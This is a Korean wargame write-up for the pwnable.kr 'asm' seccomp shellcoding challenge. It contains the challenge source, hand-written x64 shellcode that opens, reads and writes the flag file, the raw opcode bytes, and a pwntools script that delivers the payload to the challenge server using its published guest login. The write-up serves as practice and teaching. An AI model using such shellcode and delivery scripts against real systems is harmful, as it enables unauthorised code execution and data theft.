이번 문제는 open, read, write, exit 시스템콜만으로 커스텀 쉘코드를 작성해서 flag 파일을 읽는것이 목표입니다. seccomp 우회라고 볼 수 있겠네요.

/* 
Mommy! I think I know how to make shellcodes

ssh asm@pwnable.kr -p2222 (pw: guest)

===========================================================

asm@ubuntu:~$ checksec --file ./asm
[*] '/home/asm/asm'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>

#define LENGTH 128

void sandbox() {
    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
    if (ctx == NULL) {
        printf("seccomp error\n");
        exit(0);
    }

    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

    if (seccomp_load(ctx) < 0) {
        seccomp_release(ctx);
        printf("seccomp error\n");
        exit(0);
    }
    seccomp_release(ctx);
}

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char * argv[]) {

    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stdin, 0, _IOLBF, 0);

    printf("Welcome to shellcoding practice challenge.\n");
    printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
    printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
    printf("If this does not challenge you. you should play 'asg' challenge :)\n");

    char *sh = (char *) mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
    memset(sh, 0x90, 0x1000);
    memcpy(sh, stub, strlen(stub));

    int offset = sizeof(stub);
    printf("give me your x64 shellcode: ");
    read(0, sh + offset, 1000);

    alarm(10);
    chroot("/home/asm_pwn"); // you are in chroot jail. so you can't use symlink in /tmp
    sandbox();
    ((void(*)(void))sh)();
    return 0;
}

바이너리에 setgid 가 걸려있지 않아 readme 를 읽어봤더니 현재 asm, asm.c 는 분석용이고 권한상승 후 플래그를 얻으려면 nc 0 9026 에 페이로드를 전달해야 한다고 합니다.

asm@pwnable:~$ cat ./readme
once you connect to port 9026, the "asm" binary will be executed under asm_pwn privilege.
make connection to challenge (nc 0 9026) then get the flag. (file name of the flag is same as the one in this directory)

코드를 분석해보겠습니다. 일단 stub 에 넘어간 opcode 가 무엇을 의미할까요?

00000000002020c0 <stub>:
  2020c0:       48 31 c0                xor    %rax,%rax
  2020c3:       48 31 db                xor    %rbx,%rbx
  2020c6:       48 31 c9                xor    %rcx,%rcx
  2020c9:       48 31 d2                xor    %rdx,%rdx
  2020cc:       48 31 f6                xor    %rsi,%rsi
  2020cf:       48 31 ff                xor    %rdi,%rdi
  2020d2:       48 31 ed                xor    %rbp,%rbp
  2020d5:       4d 31 c0                xor    %r8,%r8
  2020d8:       4d 31 c9                xor    %r9,%r9
  2020db:       4d 31 d2                xor    %r10,%r10
  2020de:       4d 31 db                xor    %r11,%r11
  2020e1:       4d 31 e4                xor    %r12,%r12
  2020e4:       4d 31 ed                xor    %r13,%r13
  2020e7:       4d 31 f6                xor    %r14,%r14
  2020ea:       4d 31 ff                xor    %r15,%r15

거의 모든 레지스터들을 0으로 초기화 하는 opcode 였네요.

그 아래선 mmap() 으로 0x41414000 주소에 0x1000 사이즈만큼 쉘코드를 저장하고 실행할 수 있는 메모리 영역을 할당합니다.

char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
/*
gdb-peda$ vmmap
Start              End                Perm      Name
0x41414000         0x41415000         rwxp      mapped
*/

여기에 앞서 본 stub 이 맨 앞에 배치되고 입력받은 쉘코드를 뒤에 추가한 뒤 실행하게 됩니다.

다만 seccomp 필터에 따라 open, read, write, exit 시스템 콜만 호출 가능합니다.

그림으로 보면 이렇게 됩니다. 입력 길이(1000)를 전체 길이(0x1000)와 헷갈리시면 안됩니다.

이제 쉘코드를 작성해야하는데 실제 flag의 파일명은 엄청 깁니다. 쉘코드 내에 모두 표현해야하는데 1바이트라도 틀리면 플래그를 읽을 수 없습니다.

또, chroot(“/home/asm_pwn”); 로 인해 /tmp 에 플래그 파일에 대한 심볼릭 링크도 생성이 안됩니다.

그러니 짧은 이름을 가진 파일을 만든 뒤 쉘코드를 작성해서 읽기 테스트를 먼저 해보겠습니다.

andrew@ubuntu:~/fun/writeups/wargame/pwnablekr/asm/practice$ cat ./test
abcd
andrew@ubuntu:~/fun/writeups/wargame/pwnablekr/asm/practice$ cat ./sh.a
global start

start:
    mov al, 0x02                ; sys_open
    push rdi                    ; 0x00
    mov rdi, 0x747365742f2e2f2e ; ./test
    push rdi
    mov rdi, rsp ; const char *filename
    xor rsi, rsi ; #define  O_RDONLY        0x0000
    syscall

    mov edi, eax ; unsigned int fd
    xor al, al   ; sys_read
    mov rsi, rsp ; char *buf
    mov dl, 0x04 ; size_t count
    syscall

    mov al, 0x01 ; sys_write
    xor rdi, rdi ; stdout
    add rdi, 0x01
    mov dl, 0x04
    syscall

    mov al, 0x60 ; sys_exit
    xor rdi, rdi
    syscall
andrew@ubuntu:~/fun/writeups/wargame/pwnablekr/asm/practice$ ./sh
abcdSegmentation fault (core dumped)
andrew@ubuntu:~/fun/writeups/wargame/pwnablekr/asm/practice$

잘 작동하니까 이제 진짜 쉘코드를 작성해보겠습니다.

andrew@ubuntu:~/fun/writeups/wargame/pwnablekr/asm/practice$ cat ./sh.a

global start

start:
    mov al, 0x02 ; sys_open
    xor rdi, rdi
    push rdi
    mov rdi, qword "0o0o0ong"
    push rdi
    mov rdi, qword "0o0o0o0o"
    push rdi
    mov rdi, qword "00000000"
    push rdi
    mov rdi, qword "ooooo000"
    push rdi
    mov rdi, qword "oooooooo"
    push rdi
    mov rdi, qword "oooooooo"
    push rdi
    mov rdi, qword "000000oo"
    push rdi
    mov rdi, qword "00000000"
    push rdi
    mov rdi, qword "00000000"
    push rdi
    mov rdi, qword "ooooo000"
    push rdi
    mov rdi, qword "oooooooo"
    push rdi
    mov rdi, qword "oooooooo"
    push rdi
    mov rdi, qword "oooooooo"
    push rdi
    mov rdi, qword "oooooooo"
    push rdi
    mov rdi, qword "oooooooo"
    push rdi
    mov rdi, qword "oooooooo"
    push rdi
    mov rdi, qword "oooooooo"
    push rdi
    mov rdi, qword "oooooooo"
    push rdi
    mov rdi, qword "looooooo"
    push rdi
    mov rdi, qword "is_very_"
    push rdi
    mov rdi, qword "le_name_"
    push rdi
    mov rdi, qword "y_the_fi"
    push rdi
    mov rdi, qword "ile.sorr"
    push rdi
    mov rdi, qword "d_this_f"
    push rdi
    mov rdi, qword "ease_rea"
    push rdi
    mov rdi, qword "_file_pl"
    push rdi
    mov rdi, qword ".kr_flag"
    push rdi
    mov rdi, qword "_pwnable"
    push rdi
    mov rdi, qword "/this_is"
    push rdi
    mov rdi, qword "././././"
    push rdi

    mov rdi, rsp; const char *filename
    xor rsi, rsi ; #define  O_RDONLY        0x0000
    syscall

    mov edi, eax ; unsigned int fd
    xor al, al ; sys_read
    mov rsi, rsp ; char *buf
    mov dl, 0x64; size_t count
    syscall

    mov al, 0x01 ; sys_write
    xor rdi, rdi ; stdout
    add rdi, 0x01
    syscall

    mov al, 0x60 ; sys_exit
    xor rdi, rdi
    syscall

이제 opcode 를 추출한 뒤 nc 로 보내야 하는데, 이게 손으로 옮겨 적기엔 좀 깁니다.

어떤 분이 objdump 로 쉘코드 뽑는 방법을 공유해놓으셔서 그걸 사용했습니다.

https://www.commandlinefu.com/commands/view/6051/get-all-shellcode-on-binary-file-from-objdump

andrew@ubuntu:~/fun/writeups/wargame/pwnablekr/asm/practice$ objdump -d ./sh | grep -Po '\s\K[a-f0-9]{2}(?=\s)' | sed 's/^/\\x/g' | perl -pe 's/\r?\n//' | sed 's/$/\n/'
\xb0\x02\x48\x31\xff\x57\x48\xbf\x30\x6f\x30\x6f\x30\x6f\x6e\x67\x57\x48\xbf\x30\x6f\x30\x6f\x30\x6f\x30\x6f\x57\x48\xbf\x30\x30\x30\x30\x30\x30\x30\x30\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x30\x30\x30\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x30\x30\x30\x30\x30\x30\x6f\x6f\x57\x48\xbf\x30\x30\x30\x30\x30\x30\x30\x30\x57\x48\xbf\x30\x30\x30\x30\x30\x30\x30\x30\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x30\x30\x30\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x6c\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x69\x73\x5f\x76\x65\x72\x79\x5f\x57\x48\xbf\x6c\x65\x5f\x6e\x61\x6d\x65\x5f\x57\x48\xbf\x79\x5f\x74\x68\x65\x5f\x66\x69\x57\x48\xbf\x69\x6c\x65\x2e\x73\x6f\x72\x72\x57\x48\xbf\x64\x5f\x74\x68\x69\x73\x5f\x66\x57\x48\xbf\x65\x61\x73\x65\x5f\x72\x65\x61\x57\x48\xbf\x5f\x66\x69\x6c\x65\x5f\x70\x6c\x57\x48\xbf\x2e\x6b\x72\x5f\x66\x6c\x61\x67\x57\x48\xbf\x5f\x70\x77\x6e\x61\x62\x6c\x65\x57\x48\xbf\x2f\x74\x68\x69\x73\x5f\x69\x73\x57\x48\xbf\x2e\x2f\x2e\x2f\x2e\x2f\x2e\x2f\x57\x48\x89\xe7\x48\x31\xf6\x0f\x05\x89\xc7\x30\xc0\x48\x89\xe6\xb2\x64\x0f\x05\xb0\x01\x48\x31\xff\x48\x83\xc7\x01\x0f\x05\xb0\x60\x48\x31\xff\x0f\x05

쉘코드가 완성되었습니다. 이제 nc 로 보내서 플래그를 읽어보겠습니다.

#!/usr/bin/env python3

from pwn import *

context.update(arch="amd64", os="linux", bits="64")

# file_name = "this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong"+"\x00"
# v1 = [""]*(int(len(file_name)/8)+8)

# for v0 in range(int(len(file_name)/8)):
#    v1[v0] = p64(int((file_name[(v0*8):(v0+1)*8].encode("ascii")).hex(), 16))

# print(hexdump(v1))

shellcode="\xb0\x02\x48\x31\xff\x57\x48\xbf\x30\x6f\x30\x6f\x30\x6f\x6e\x67\x57\x48\xbf\x30\x6f\x30\x6f\x30\x6f\x30\x6f\x57\x48\xbf\x30\x30\x30\x30\x30\x30\x30\x30\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x30\x30\x30\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x30\x30\x30\x30\x30\x30\x6f\x6f\x57\x48\xbf\x30\x30\x30\x30\x30\x30\x30\x30\x57\x48\xbf\x30\x30\x30\x30\x30\x30\x30\x30\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x30\x30\x30\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x6c\x6f\x6f\x6f\x6f\x6f\x6f\x6f\x57\x48\xbf\x69\x73\x5f\x76\x65\x72\x79\x5f\x57\x48\xbf\x6c\x65\x5f\x6e\x61\x6d\x65\x5f\x57\x48\xbf\x79\x5f\x74\x68\x65\x5f\x66\x69\x57\x48\xbf\x69\x6c\x65\x2e\x73\x6f\x72\x72\x57\x48\xbf\x64\x5f\x74\x68\x69\x73\x5f\x66\x57\x48\xbf\x65\x61\x73\x65\x5f\x72\x65\x61\x57\x48\xbf\x5f\x66\x69\x6c\x65\x5f\x70\x6c\x57\x48\xbf\x2e\x6b\x72\x5f\x66\x6c\x61\x67\x57\x48\xbf\x5f\x70\x77\x6e\x61\x62\x6c\x65\x57\x48\xbf\x2f\x74\x68\x69\x73\x5f\x69\x73\x57\x48\xbf\x2e\x2f\x2e\x2f\x2e\x2f\x2e\x2f\x57\x48\x89\xe7\x48\x31\xf6\x0f\x05\x89\xc7\x30\xc0\x48\x89\xe6\xb2\x64\x0f\x05\xb0\x01\x48\x31\xff\x48\x83\xc7\x01\x0f\x05\xb0\x60\x48\x31\xff\x0f\x05"

conn_ssh = ssh(host="pwnable.kr", port=2222, user="asm", password="guest")
conn_nc = conn_ssh.remote("pwnable.kr", 9026)

conn_nc.send(shellcode)
print(conn_nc.recv(2024, timeout=0.5))
print(conn_nc.recv(2024, timeout=0.5))

끝나고 다른 분들 풀이를 봤는데 대부분 pwntools shellcraft 로 저보다 간단히 푸셨더라구요… 눈물…

shellcraft 는 다음 쉘코드 작성 문제가 또 나오면 한번 써보겠습니다.

읽어주셔서 감사합니다.